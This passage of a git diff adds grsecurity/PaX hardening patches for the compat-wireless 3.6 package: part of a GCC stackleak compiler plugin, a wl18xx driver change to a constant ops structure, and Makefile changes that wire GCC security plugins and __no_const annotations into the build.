MEM) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != SYMBOL_REF) ++ continue; ++ if (strcmp(XSTR(body, 0), track_function)) ++ continue; ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ // 2. delete call ++ insn = delete_insn_and_edges(insn); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION) ++ insn = delete_insn_and_edges(insn); ++#endif ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info stackleak_tree_instrument_pass_info = { ++ .pass = &stackleak_tree_instrument_pass.pass, ++// .reference_pass_name = "tree_profile", ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ struct register_pass_info stackleak_final_pass_info = { ++ .pass = &stackleak_final_rtl_opt_pass.pass, ++ .reference_pass_name = "final", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info); ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "track-lowest-sp")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ track_frame_size = atoi(argv[i].value); ++ if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0) ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ if (!strcmp(argv[i].key, "initialize-locals")) { ++ if (argv[i].value) { ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ init_locals = true; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info); ++ ++ return 0; ++} diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch new file mode 100644 index 00000000..817b3d54 --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch @@ -0,0 +1,51 @@ +--- drivers/net/wireless/ti/wl18xx/main.c ++++ drivers/net/wireless/ti/wl18xx/main.c +@@ -1320,6 +1320,34 @@ static struct wlcore_ops wl18xx_ops = { + .pre_pkt_send = wl18xx_pre_pkt_send, + }; + ++static struct wlcore_ops wl18xx_ops_no_checksum = { ++ .identify_chip = wl18xx_identify_chip, ++ .boot = wl18xx_boot, ++ .plt_init = wl18xx_plt_init, ++ .trigger_cmd = wl18xx_trigger_cmd, ++ .ack_event = wl18xx_ack_event, ++ .calc_tx_blocks = wl18xx_calc_tx_blocks, ++ .set_tx_desc_blocks = wl18xx_set_tx_desc_blocks, ++ .set_tx_desc_data_len = wl18xx_set_tx_desc_data_len, ++ .get_rx_buf_align = wl18xx_get_rx_buf_align, ++ .get_rx_packet_len = wl18xx_get_rx_packet_len, ++ .tx_immediate_compl = wl18xx_tx_immediate_completion, ++ .tx_delayed_compl = NULL, ++ .hw_init = wl18xx_hw_init, ++ .set_tx_desc_csum = wl18xx_set_tx_desc_csum, ++ .get_pg_ver = wl18xx_get_pg_ver, ++ .set_rx_csum = NULL, ++ .sta_get_ap_rate_mask = wl18xx_sta_get_ap_rate_mask, ++ .ap_get_mimo_wide_rate_mask = wl18xx_ap_get_mimo_wide_rate_mask, ++ .get_mac = wl18xx_get_mac, ++ .debugfs_init = wl18xx_debugfs_add_files, ++ .handle_static_data = wl18xx_handle_static_data, ++ .get_spare_blocks = wl18xx_get_spare_blocks, ++ .set_key = wl18xx_set_key, ++ .pre_pkt_send = wl18xx_pre_pkt_send, ++ .init_vif = NULL, ++}; ++ + /* HT cap appropriate for wide channels in 2Ghz */ + static struct ieee80211_sta_ht_cap wl18xx_siso40_ht_cap_2ghz = { + .cap = IEEE80211_HT_CAP_SGI_20 | IEEE80211_HT_CAP_SGI_40 | +@@ -1509,8 +1537,11 @@ static int __devinit wl18xx_probe(struct + } + + if (!checksum_param) { +- wl18xx_ops.set_rx_csum = NULL; +- wl18xx_ops.init_vif = NULL; ++ /* ++ * wl18xx_ops.set_rx_csum = NULL; ++ * wl18xx_ops.init_vif = NULL; ++ */ ++ wl->ops = &wl18xx_ops_no_checksum; + } + + wl->enable_11a = enable_11a_param; \ No newline at end of file diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch new file mode 100644 index 00000000..41431feb --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch @@ -0,0 +1,9057 @@ +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/Makefile.rej compat-wireless-3.6-rc7-1-snpc/Makefile.rej +--- compat-wireless-3.6-rc7-1-snpc.orig/Makefile.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/Makefile.rej 2012-10-15 17:30:59.824924531 +0000 +@@ -0,0 +1,196 @@ ++--- Makefile 2012-10-07 18:49:41.159544632 +0200 +++++ Makefile 2012-10-07 18:49:47.351545272 +0200 ++@@ -241,8 +241,9 @@ ++ ++ HOSTCC = gcc ++ HOSTCXX = g++ ++-HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer ++-HOSTCXXFLAGS = -O2 +++HOSTCFLAGS = -Wall -W -Wmissing-prototypes -Wstrict-prototypes -Wno-unused-parameter -Wno-missing-field-initializers -O2 -fomit-frame-pointer -fno-delete-null-pointer-checks +++HOSTCLFAGS += $(call cc-option, -Wno-empty-body) +++HOSTCXXFLAGS = -O2 -Wall -W -fno-delete-null-pointer-checks ++ ++ # Decide whether to build built-in, modular, or both. ++ # Normally, just do built-in. ++@@ -404,8 +405,8 @@ ++ # Rules shared between *config targets and build targets ++ ++ # Basic helpers built in scripts/ ++-PHONY += scripts_basic ++-scripts_basic: +++PHONY += scripts_basic gcc-plugins +++scripts_basic: gcc-plugins ++ $(Q)$(MAKE) $(build)=scripts/basic ++ $(Q)rm -f .tmp_quiet_recordmcount ++ ++@@ -561,6 +562,56 @@ ++ KBUILD_CFLAGS += -O2 ++ endif ++ +++PLUGINCC := $(shell $(CONFIG_SHELL) $(srctree)/scripts/gcc-plugin.sh "$(HOSTCC)" "$(HOSTCXX)" "$(CC)") +++ifneq ($(PLUGINCC),) +++ifdef CONFIG_PAX_CONSTIFY_PLUGIN +++CONSTIFY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/constify_plugin.so -DCONSTIFY_PLUGIN +++endif +++ifdef CONFIG_PAX_MEMORY_STACKLEAK +++STACKLEAK_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/stackleak_plugin.so -DSTACKLEAK_PLUGIN +++STACKLEAK_PLUGIN_CFLAGS += -fplugin-arg-stackleak_plugin-track-lowest-sp=100 +++endif +++ifdef CONFIG_KALLOCSTAT_PLUGIN +++KALLOCSTAT_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kallocstat_plugin.so +++endif +++ifdef CONFIG_PAX_KERNEXEC_PLUGIN +++KERNEXEC_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kernexec_plugin.so +++KERNEXEC_PLUGIN_CFLAGS += -fplugin-arg-kernexec_plugin-method=$(CONFIG_PAX_KERNEXEC_PLUGIN_METHOD) -DKERNEXEC_PLUGIN +++KERNEXEC_PLUGIN_AFLAGS := -DKERNEXEC_PLUGIN +++endif +++ifdef CONFIG_CHECKER_PLUGIN +++ifeq ($(call cc-ifversion, -ge, 0406, y), y) +++CHECKER_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/checker_plugin.so -DCHECKER_PLUGIN +++endif +++endif +++COLORIZE_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/colorize_plugin.so +++ifdef CONFIG_PAX_SIZE_OVERFLOW +++SIZE_OVERFLOW_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/size_overflow_plugin.so -DSIZE_OVERFLOW_PLUGIN +++endif +++ifdef CONFIG_PAX_LATENT_ENTROPY +++LATENT_ENTROPY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/latent_entropy_plugin.so -DLATENT_ENTROPY_PLUGIN +++endif +++GCC_PLUGINS_CFLAGS := $(CONSTIFY_PLUGIN_CFLAGS) $(STACKLEAK_PLUGIN_CFLAGS) $(KALLOCSTAT_PLUGIN_CFLAGS) +++GCC_PLUGINS_CFLAGS += $(KERNEXEC_PLUGIN_CFLAGS) $(CHECKER_PLUGIN_CFLAGS) $(COLORIZE_PLUGIN_CFLAGS) +++GCC_PLUGINS_CFLAGS += $(SIZE_OVERFLOW_PLUGIN_CFLAGS) $(LATENT_ENTROPY_PLUGIN_CFLAGS) +++GCC_PLUGINS_AFLAGS := $(KERNEXEC_PLUGIN_AFLAGS) +++export PLUGINCC GCC_PLUGINS_CFLAGS GCC_PLUGINS_AFLAGS CONSTIFY_PLUGIN +++ifeq ($(KBUILD_EXTMOD),) +++gcc-plugins: +++ $(Q)$(MAKE) $(build)=tools/gcc +++else +++gcc-plugins: ; +++endif +++else +++gcc-plugins: +++ifeq ($(call cc-ifversion, -ge, 0405, y), y) +++ $(Q)echo "warning, your gcc installation does not support plugins, perhaps the necessary headers are missing?" +++else +++ $(Q)echo "warning, your gcc version does not support plugins, you should upgrade it to gcc 4.5 at least" +++endif +++ $(Q)echo "PAX_MEMORY_STACKLEAK and other features will be less secure" +++endif +++ ++ include $(srctree)/arch/$(SRCARCH)/Makefile ++ ++ ifdef CONFIG_READABLE_ASM ++@@ -762,6 +813,8 @@ ++ ++ # The actual objects are generated when descending, ++ # make sure no implicit rule kicks in +++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ $(sort $(vmlinux-deps)): $(vmlinux-dirs) ; ++ ++ # Handle descending into subdirectories listed in $(vmlinux-dirs) ++@@ -771,7 +824,7 @@ ++ # Error messages still appears in the original language ++ ++ PHONY += $(vmlinux-dirs) ++-$(vmlinux-dirs): prepare scripts +++$(vmlinux-dirs): gcc-plugins prepare scripts ++ $(Q)$(MAKE) $(build)=$@ ++ ++ # Store (new) KERNELRELASE string in include/config/kernel.release ++@@ -815,6 +868,7 @@ ++ $(Q)$(MAKE) $(build)=. ++ ++ # All the preparing.. +++prepare: KBUILD_CFLAGS := $(filter-out $(GCC_PLUGINS_CFLAGS),$(KBUILD_CFLAGS)) ++ prepare: prepare0 ++ ++ # Generate some files ++@@ -922,6 +976,8 @@ ++ # using awk while concatenating to the final file. ++ ++ PHONY += modules +++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ modules: $(vmlinux-dirs) $(if $(KBUILD_BUILTIN),vmlinux) modules.builtin ++ $(Q)$(AWK) '!x[$$0]++' $(vmlinux-dirs:%=$(objtree)/%/modules.order) > $(objtree)/modules.order ++ @$(kecho) ' Building modules, stage 2.'; ++@@ -937,7 +993,7 @@ ++ ++ # Target to prepare building external modules ++ PHONY += modules_prepare ++-modules_prepare: prepare scripts +++modules_prepare: gcc-plugins prepare scripts ++ ++ # Target to install modules ++ PHONY += modules_install ++@@ -994,7 +1050,7 @@ ++ MRPROPER_DIRS += include/config usr/include include/generated \ ++ arch/*/include/generated ++ MRPROPER_FILES += .config .config.old .version .old_version \ ++- include/linux/version.h \ +++ include/linux/version.h tools/gcc/size_overflow_hash.h\ ++ Module.symvers tags TAGS cscope* GPATH GTAGS GRTAGS GSYMS ++ ++ # clean - Delete most, but leave enough to build external modules ++@@ -1032,6 +1088,7 @@ ++ \( -name '*.orig' -o -name '*.rej' -o -name '*~' \ ++ -o -name '*.bak' -o -name '#*#' -o -name '.*.orig' \ ++ -o -name '.*.rej' \ +++ -o -name '.*.rej' -o -name '*.so' \ ++ -o -name '*%' -o -name '.*.cmd' -o -name 'core' \) \ ++ -type f -print | xargs rm -f ++ ++@@ -1192,6 +1249,8 @@ ++ $(module-dirs): crmodverdir $(objtree)/Module.symvers ++ $(Q)$(MAKE) $(build)=$(patsubst _module_%,%,$@) ++ +++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ modules: $(module-dirs) ++ @$(kecho) ' Building modules, stage 2.'; ++ $(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost ++@@ -1326,17 +1385,21 @@ ++ target-dir = $(if $(KBUILD_EXTMOD),$(dir $<),$(dir $@)) ++ endif ++ ++-%.s: %.c prepare scripts FORCE +++%.s: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.s: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.s: %.c gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.i: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.o: %.c prepare scripts FORCE +++%.o: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.o: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.o: %.c gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.lst: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.s: %.S prepare scripts FORCE +++%.s: %.S gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.o: %.S prepare scripts FORCE +++%.o: %.S gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.symtypes: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++@@ -1346,11 +1409,15 @@ ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) ++-%/: prepare scripts FORCE +++%/: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%/: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%/: gcc-plugins prepare scripts FORCE ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) ++-%.ko: prepare scripts FORCE +++%.ko: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.ko: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.ko: gcc-plugins prepare scripts FORCE ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) $(@:.ko=.o) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/Makefile.~1~ compat-wireless-3.6-rc7-1-snpc/Makefile.~1~ +--- compat-wireless-3.6-rc7-1-snpc.orig/Makefile.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/Makefile.~1~ 2012-10-15 17:30:59.824924531 +0000 +@@ -0,0 +1,257 @@ ++# ++ ++# Copyright (c) 2007-2012 Luis R. Rodriguez ++# ++# Permission to use, copy, modify, and/or distribute this software for any ++# purpose with or without fee is hereby granted, provided that the above ++# copyright notice and this permission notice appear in all copies. ++# ++# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ++# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ++# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ++# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ++# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ++# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ++# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ++ ++export KMODDIR?= updates ++KMODDIR_ARG:= "INSTALL_MOD_DIR=$(KMODDIR)" ++ifneq ($(origin KLIB), undefined) ++KMODPATH_ARG:= "INSTALL_MOD_PATH=$(KLIB)" ++else ++export KLIB:= /lib/modules/$(shell uname -r) ++endif ++export KLIB_BUILD ?= $(KLIB)/build ++export MAKE ++ ++DESTDIR?= ++ ++ifneq ($(KERNELRELEASE),) ++ ++-include $(COMPAT_CONFIG) ++include $(COMPAT_CONFIG_CW) ++ ++NOSTDINC_FLAGS := -I$(M)/include/ \ ++ -include $(M)/include/linux/compat-2.6.h \ ++ $(CFLAGS) ++ ++obj-y := compat/ ++ ++obj-$(CONFIG_COMPAT_RFKILL) += net/rfkill/ ++ ++ifeq ($(BT),) ++obj-$(CONFIG_COMPAT_WIRELESS) += net/wireless/ net/mac80211/ ++obj-$(CONFIG_COMPAT_WIRELESS_MODULES) += drivers/net/wireless/ ++ ++obj-$(CONFIG_COMPAT_NET_USB_MODULES) += drivers/net/usb/ ++ ++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/atheros/ ++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/broadcom/ ++ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/ssb/ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/bcma/ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/misc/eeprom/ ++ ++ifeq ($(CONFIG_STAGING_EXCLUDE_BUILD),) ++endif ++ ++endif ++ ++obj-$(CONFIG_COMPAT_BLUETOOTH) += net/bluetooth/ ++obj-$(CONFIG_COMPAT_BLUETOOTH_MODULES) += drivers/bluetooth/ ++ ++else ++ ++export PWD := $(shell pwd) ++ ++# The build will fail if there is any space in PWD. ++ifneq (,$(findstring $() ,$(PWD))) ++$(error "The path to this compat-wireless directory has spaces in it." \ ++ "Please put it somewhere where there is no space") ++endif ++ ++export CFLAGS += \ ++ -DCOMPAT_BASE="\"$(shell cat $(PWD)/.compat_base)\"" \ ++ -DCOMPAT_BASE_TREE="\"$(shell cat $(PWD)/.compat_base_tree)\"" \ ++ -DCOMPAT_BASE_TREE_VERSION="\"$(shell cat $(PWD)/.compat_base_tree_version)\"" \ ++ -DCOMPAT_PROJECT="\"Compat-wireless\"" \ ++ -DCOMPAT_VERSION="\"$(shell cat $(PWD)/.compat_version)\"" ++ ++# These exported as they are used by the scripts ++# to check config and compat autoconf ++export COMPAT_CONFIG_CW=$(PWD)/config.mk ++export COMPAT_CONFIG=$(PWD)/.config ++export CONFIG_CHECK=$(PWD)/.config.mk_md5sum.txt ++export COMPAT_AUTOCONF=include/linux/compat_autoconf.h ++export CREL=$(shell cat $(PWD)/.compat_version) ++export CREL_PRE:=.compat_autoconf_ ++export CREL_CHECK:=$(PWD)/$(CREL_PRE)$(CREL) ++ ++all: modules ++ ++$(COMPAT_CONFIG): ; ++ ++modules: $(CREL_CHECK) ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) modules ++ @touch $@ ++ ++bt: $(CREL_CHECK) ++ +@./scripts/check_config.sh ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) BT=TRUE modules ++ @touch $@ ++ ++# We use a CREL_CHECK variable which will depend on the environment used to ++# build. If the environment requirements change it forces a reconfiguration ++# check. This means we force a new reconfiguration check if a the user gets a ++# new updates of compat-wireless or when the user updates the $(COMPAT_CONFIG) ++# file. ++# XXX: add kernel target to the CREL_CHECK mix, this would ensure we also ++# reconfigure and build again fresh if we detect a new target kernel is ++# being used. ++$(CREL_CHECK): ++ @# Force to regenerate compat autoconf ++ +@./compat/scripts/gen-compat-config.sh > $(COMPAT_CONFIG) ++ @rm -f $(CONFIG_CHECK) ++ +@./scripts/check_config.sh ++ @md5sum $(COMPAT_CONFIG_CW) > $(CONFIG_CHECK) ++ @touch $@ ++ ++btinstall: btuninstall bt-install-modules ++ ++bt-install-modules: bt ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) BT=TRUE \ ++ modules_install ++ @/sbin/depmod -ae ++ @echo ++ @echo Now run: ++ @echo ++ @echo sudo make btunload: ++ @echo ++ @echo And then load the needed bluetooth modules. If unsure reboot. ++ @echo ++ ++btuninstall: ++ @# New location, matches upstream ++ @rm -rf $(KLIB)/$(KMODDIR)/net/bluetooth/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/bluetooth/ ++ @# Lets only remove the stuff we are sure we are providing ++ @# on the misc directory. ++ @/sbin/depmod -ae ++ @echo ++ ++btclean: ++ $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean ++ @rm -f $(CREL_PRE)* ++ ++install: uninstall install-modules install-scripts ++ ++install-modules: modules ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \ ++ modules_install ++ @./scripts/update-initramfs ++ ++install-scripts: ++ @# All the scripts we can use ++ @mkdir -p $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/modlib.sh $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/madwifi-unload $(DESTDIR)/usr/sbin/ ++ @# This is to allow switching between drivers without blacklisting ++ @install scripts/athenable $(DESTDIR)/usr/sbin/ ++ @install scripts/b43enable $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-enable $(DESTDIR)/usr/sbin/ ++ @install scripts/athload $(DESTDIR)/usr/sbin/ ++ @install scripts/b43load $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-load $(DESTDIR)/usr/sbin/ ++ @if [ $(shell modinfo ath_pci > /dev/null 2>&1 && echo 1) ]; then \ ++ echo -n "Note: madwifi detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo athenable madwifi" ;\ ++ echo ;\ ++ echo Running athenable ath5k...;\ ++ $(DESTDIR)/usr/sbin/athenable ath5k ;\ ++ fi ++ @if [ $(shell modinfo iwl4965 > /dev/null 2>&1 && echo 1) ]; then \ ++ echo ;\ ++ echo -n "Note: iwl4965 detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo iwl-load iwl4965" ;\ ++ echo ;\ ++ echo Running iwl-enable iwlagn...;\ ++ $(DESTDIR)/usr/sbin/iwl-enable iwlagn ;\ ++ fi ++ @if [ $(shell modinfo iwlagn > /dev/null 2>&1 && echo 1) ] \ ++ && [ $(shell modinfo iwlwifi > /dev/null 2>&1 && echo 1) ]; then \ ++ echo ;\ ++ echo -n "Note: iwlagn detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo iwl-load iwlagn" ;\ ++ echo ;\ ++ echo Running iwl-enable iwlwifi...;\ ++ $(DESTDIR)/usr/sbin/iwl-enable iwlwifi ;\ ++ fi ++ @# If on distributions like Mandriva which like to ++ @# compress their modules this will find out and do ++ @# it for you. Reason is some old version of modutils ++ @# won't know mac80211.ko should be used instead of ++ @# mac80211.ko.gz ++ @./scripts/compress_modules ++ @# Mandrake doesn't have a depmod.d/ conf file to prefer ++ @# the updates/ dir which is what we use so we add one for it ++ @# (or any other distribution that doens't have this). ++ @./scripts/check_depmod ++ @# Udev stuff needed for the new compat_firmware_class. ++ @./compat/scripts/compat_firmware_install ++ @/sbin/depmod -a ++ @echo ++ @echo Now run: ++ @echo ++ @echo sudo make unload to unload all: wireless, bluetooth and ethernet modules ++ @echo sudo make wlunload to unload wireless modules ++ @echo sudo make btunload to unload bluetooth modules ++ @echo ++ @echo Run sudo modprobe 'driver-name' to load your desired driver. ++ @echo If unsure reboot. ++ @echo ++ ++uninstall: ++ @# New location, matches upstream ++ @rm -rf $(KLIB)/$(KMODDIR)/compat/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/mac80211/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/rfkill/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/wireless/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/ssb/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/usb/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/wireless/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/staging/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/atl* ++ @find $(KLIB)/$(KMODDIR)/drivers/net/ -name "alx*.ko" -o -name "atl*.ko" 2>/dev/null |xargs rm -f ++ @# Lets only remove the stuff we are sure we are providing ++ @# on the misc directory. ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom/eeprom_93cx6.ko* ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom_93cx6.ko* ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/net/b44.ko* ++ @/sbin/depmod -a ++ @./scripts/update-initramfs ++ @echo ++ ++clean: ++ @if [ -d net -a -d $(KLIB_BUILD) ]; then \ ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) clean ;\ ++ fi ++ @rm -f $(CREL_PRE)* ++unload: ++ @./scripts/unload.sh ++ ++btunload: ++ @./scripts/btunload.sh ++ ++wlunload: ++ @./scripts/wlunload.sh ++ ++ ++.PHONY: all clean install uninstall unload btunload wlunload modules bt Makefile ++ ++endif ++ ++clean-files += Module.symvers Module.markers modules modules.order ++clean-files += $(CREL_CHECK) $(CONFIG_CHECK) $(COMPAT_CONFIG) +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/alx/alx_sw.h compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/alx/alx_sw.h 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h 2012-10-15 17:29:45.216925787 +0000 +@@ -326,7 +326,7 @@ struct alx_hw_callbacks { + + /* Others */ + int (*get_ethtool_regs)(struct alx_hw *, void *); +-}; ++} __no_const; + + struct alx_hw { + struct alx_adapter *adpt; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/atlx/atl2.c compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/ethernet/atheros/atlx/atl2.c 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c 2012-10-15 17:30:59.816924531 +0000 +@@ -2872,7 +2872,7 @@ static void atl2_force_ps(struct atl2_hw + */ + + #define ATL2_PARAM(X, desc) \ +- static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ ++ static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ + MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \ + MODULE_PARM_DESC(X, desc); + #else +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath.h +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath.h 2012-09-27 23:19:12.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath.h 2012-10-15 17:30:59.818924529 +0000 +@@ -119,6 +119,7 @@ struct ath_ops { + void (*write_flush) (void *); + u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr); + }; ++typedef struct ath_ops __no_const ath_ops_no_const; + + struct ath_common; + struct ath_bus_ops; +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9002_mac.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c +--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-09-27 23:19:11.000000000 +0000 ++++ 